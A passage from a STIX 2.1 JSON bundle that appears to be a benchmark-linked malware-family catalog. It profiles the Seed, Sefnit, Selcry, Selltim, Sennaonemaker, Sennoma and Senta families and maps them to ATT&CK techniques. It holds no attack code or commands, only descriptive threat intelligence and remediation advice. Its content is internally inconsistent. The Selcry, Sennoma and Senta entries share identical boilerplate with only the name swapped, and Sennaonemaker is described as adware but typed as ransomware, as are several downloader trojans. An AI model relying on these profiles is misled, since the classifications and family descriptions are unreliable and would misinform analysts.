      "description": "Seed (cataloged across security software as Backdoor:Win32/Seed, Trojan.Win32.Seed, and Backdoor.Seed) is a stealthy, lightweight Remote Access Trojan developed in early 2005 by the Brazilian malware author 'caesar2k' (who also created the well-known Nuclear RAT). Designed for low-profile command execution, Seed deliberately disguises its binary by copying itself to C:\\WINDOWS\\system32\\winlogo.exe, masquerading as the legitimate Windows winlogon.exe system binary. Once deployed, Seed listens for operator connections on custom TCP ports, establishing reverse command shells, file exfiltration, and arbitrary executable launching capabilities. Seed was commonly deployed via software cracks and malicious script attachments.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Seed",
        "Trojan.Win32.Seed",
        "Backdoor.Seed",
        "Win32/Seed.RAT",
        "Seed.Server"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Seed",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/seed"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04b78716-5eb0-5bda-93a3-3a5de8bbdc32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62bde8d0-97be-5755-8e67-7ffb2c320db1",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seed exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10eb008c-3010-50c0-9fe6-78e41b96465a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62bde8d0-97be-5755-8e67-7ffb2c320db1",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seed exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3486db5-103a-574a-88c3-bfd7b36b2756",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62bde8d0-97be-5755-8e67-7ffb2c320db1",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seed exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c935af6-d68d-5784-95d9-0bdef384e412",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62bde8d0-97be-5755-8e67-7ffb2c320db1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seed exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5a53db0-281c-5705-9a64-926636cf14d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62bde8d0-97be-5755-8e67-7ffb2c320db1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seed exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bee132c7-45ac-5d53-a274-5c5828395766",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sefnit",
      "description": "Trojan:Win32/Sefnit (often tracked as the **Mevade** botnet) was a massive, highly sophisticated botnet that infected millions of machines globally between 2013 and 2014. Sefnit is historically significant in threat intelligence because it was one of the first major botnets to transition its entire Command and Control (C2) infrastructure to the Tor anonymity network. It was primarily utilized for large-scale click fraud, Bitcoin mining, and acting as a proxy network.<br><br><b>Understanding Sefnit (Mevade)</b><br>To an infected user, Sefnit was generally invisible unless the CPU-intensive Bitcoin mining module was active, causing severe system slowdowns. For security analysts and law enforcement, Sefnit was a massive headache. By routing all C2 communications through Tor hidden services (`.onion` addresses), the operators effectively blinded traditional network intrusion detection systems (IDS) and prevented researchers from easily taking down the C2 servers or sinkholing the botnet.<br><br><b>Execution and Tor Integration Mechanics</b><br>Sefnit was distributed aggressively via Pay-Per-Install (PPI) networks, often bundled with pirated software or adware (`T1189`). Upon execution, the payload establishes persistence via Registry Run keys (`T1547.001`) and Scheduled Tasks. Crucially, Sefnit drops a customized, statically compiled version of the Tor client (`T1090.003`). It configures this Tor client to run silently in the background (`T1543`), establishing an encrypted circuit. The core Sefnit trojan then communicates with its controllers exclusively over this Tor tunnel, receiving instructions to download Bitcoin mining modules (`T1496`), perform click fraud, or download secondary payloads.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranged from severe performance degradation (due to mining) to network abuse (click fraud). The primary IoC was network-based: analysts observed thousands of enterprise endpoints suddenly establishing connections to known Tor entry nodes. Host-based IoCs include the presence of Tor client executables (often renamed) running from `%AppData%` or `%Temp%`, and sustained, high CPU utilization from unknown processes. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sefnit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sefnit"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08b82d18-2353-53ad-b539-1169751941bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bee132c7-45ac-5d53-a274-5c5828395766",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sefnit exhibits technique T1090.003 (Connection Proxy: Multi-hop Proxy (Tor for C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--804adbef-20a9-59c0-a787-a85f35041cb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bee132c7-45ac-5d53-a274-5c5828395766",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sefnit exhibits technique T1496 (Resource Hijacking (Bitcoin Mining))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0776edbe-9e7a-56d7-8f69-e4762ecac552",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bee132c7-45ac-5d53-a274-5c5828395766",
      "target_ref": "attack-pattern--09c42517-207d-5692-a627-244c9dafb071",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sefnit exhibits technique T1543 (Create or Modify System Process (Silent Tor Client))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4538340b-e50c-56f3-862b-9810d7ca60a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bee132c7-45ac-5d53-a274-5c5828395766",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sefnit exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ff4bafc9-a04e-549e-adcf-fd529fa93752",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Selcry",
      "description": "<h3>Executive Summary</h3>\nSelcry is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSelcry is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Selcry operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Selcry ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Selcry receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Selcry infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Selcry executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Selcry frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Selcry",
        "Downloader.Selcry",
        "Win32/Selcry"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Selcry",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/selcry"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf2bde13-f938-5905-a62e-02104c8573be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff4bafc9-a04e-549e-adcf-fd529fa93752",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Selcry exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d0593cc-f25b-53b3-872e-aeda6f1c2743",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff4bafc9-a04e-549e-adcf-fd529fa93752",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Selcry exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--712fa74c-847c-5ef3-bd82-a4d2dc840161",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff4bafc9-a04e-549e-adcf-fd529fa93752",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Selcry exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6dcc58d9-c8d0-5254-a5cd-172f8706f416",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Selltim",
      "description": "Trojan:Win32/Selltim is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Selltim</b><br>To an end-user, a Selltim infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Selltim is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Selltim is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Selltim frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Selltim reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Selltim",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/selltim"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6eba6538-94a5-549a-9940-41a1bb666ee5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6dcc58d9-c8d0-5254-a5cd-172f8706f416",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Selltim exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--466406f4-8757-5ba4-9fa1-ce675c04ce63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6dcc58d9-c8d0-5254-a5cd-172f8706f416",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Selltim exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3890dc99-bbd5-5dad-9d37-802ab0ac95c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6dcc58d9-c8d0-5254-a5cd-172f8706f416",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Selltim exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--307f43ec-4801-5531-864c-68b7a6246b38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6dcc58d9-c8d0-5254-a5cd-172f8706f416",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Selltim exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c069ea3a-74b4-5439-b2b1-c6754684eb4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6dcc58d9-c8d0-5254-a5cd-172f8706f416",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Selltim exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dc6d8ca5-3749-5db4-8975-d5cca514db50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sennaonemaker",
      "description": "<h3>Executive Summary</h3>\nSennaOneMaker is a prolific adware family and Potentially Unwanted Program (PUP) notorious for bombarding infected systems with intrusive pop-up advertisements, banners, and in-text links. It operates primarily as a monetization vehicle for its developers, aggressively altering system states to maximize ad delivery.\n\n<h3>Infection and Execution Flow</h3>\nSennaOneMaker relies on social engineering and software bundling for distribution. Users typically infect their systems inadvertently when downloading software from third-party aggregators or torrent sites. \n\nUpon installation, SennaOneMaker executes silently, dropping executable files into the `%AppData%` and `%ProgramFiles%` directories. It immediately hooks into active browser processes and alters DNS configurations or proxy settings in some variants to route traffic through servers controlled by the attackers. This allows the adware to inject advertisements directly into the HTML of non-encrypted (HTTP) websites and manipulate search results. The constant network activity and background processing required to fetch and render these ads severely impact system performance.\n\n<h3>Privacy and Threat Implications</h3>\nSennaOneMaker acts as a persistent surveillance tool, gathering vast amounts of user data, including browsing habits, search queries, and geographical locations. This telemetry is transmitted to remote servers and sold. The sheer volume of injected ads also creates a high probability of \"malvertising\" exposure, where users may be tricked into downloading ransomware or credential stealers.\n\n<h3>Defense and Remediation</h3>\n<ul>\n<li><strong>Web Filtering:</strong> Implement DNS-level filtering or Secure Web Gateways (SWG) to block access to known adware distribution networks and C2 servers.</li>\n<li><strong>Registry Cleanup:</strong> SennaOneMaker leaves extensive registry footprints. Manual or automated cleanup of `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` and browser policy keys is essential for complete removal.</li>\n<li><strong>Continuous Monitoring:</strong> Monitor network traffic for anomalous outbound connections indicative of adware phoning home to ad networks.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.SennaOneMaker",
        "PUP.SennaOneMaker",
        "Win32/SennaOneMaker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sennaonemaker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sennaonemaker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d926672c-01c6-5234-91ae-682944f01579",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc6d8ca5-3749-5db4-8975-d5cca514db50",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sennaonemaker exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea6058d5-b9a1-5800-9b8c-cf52bb2f9731",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc6d8ca5-3749-5db4-8975-d5cca514db50",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sennaonemaker exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e6bd89a-1d97-5774-b9b1-3d2758af1ed7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc6d8ca5-3749-5db4-8975-d5cca514db50",
      "target_ref": "attack-pattern--233c2a7d-34cd-5ba5-8e03-f1b2d741dbe8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sennaonemaker exhibits technique T1562 (Impair Defenses (Suspicious API calls))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--31efa2bb-836b-5247-be3a-8a4ffb70188a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sennoma",
      "description": "<h3>Executive Summary</h3>\nSennoma is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSennoma is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Sennoma operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Sennoma ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Sennoma receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Sennoma infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Sennoma executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Sennoma frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Sennoma",
        "Downloader.Sennoma",
        "Win32/Sennoma"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sennoma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sennoma"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e36f642-b984-5c17-a0c8-b0db419a5c60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31efa2bb-836b-5247-be3a-8a4ffb70188a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sennoma exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af71f4dc-9d29-504c-af8e-38f8df5c31e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31efa2bb-836b-5247-be3a-8a4ffb70188a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sennoma exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9d8db20-e584-5fd7-85e9-846e3b7f8a8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31efa2bb-836b-5247-be3a-8a4ffb70188a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sennoma exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--762a47f7-3cbe-55c5-ae5b-dbc770dc1b4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Senta",
      "description": "<h3>Executive Summary</h3>\nSenta is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSenta is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Senta operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Senta ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Senta receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Senta infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Senta executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Senta frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Senta",
        "Downloader.Senta",
        "Win32/Senta"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Senta",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/senta"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a33deadb-77ba-5dd1-80f4-4759eb6eefd7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--762a47f7-3cbe-55c5-ae5b-dbc770dc1b4e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
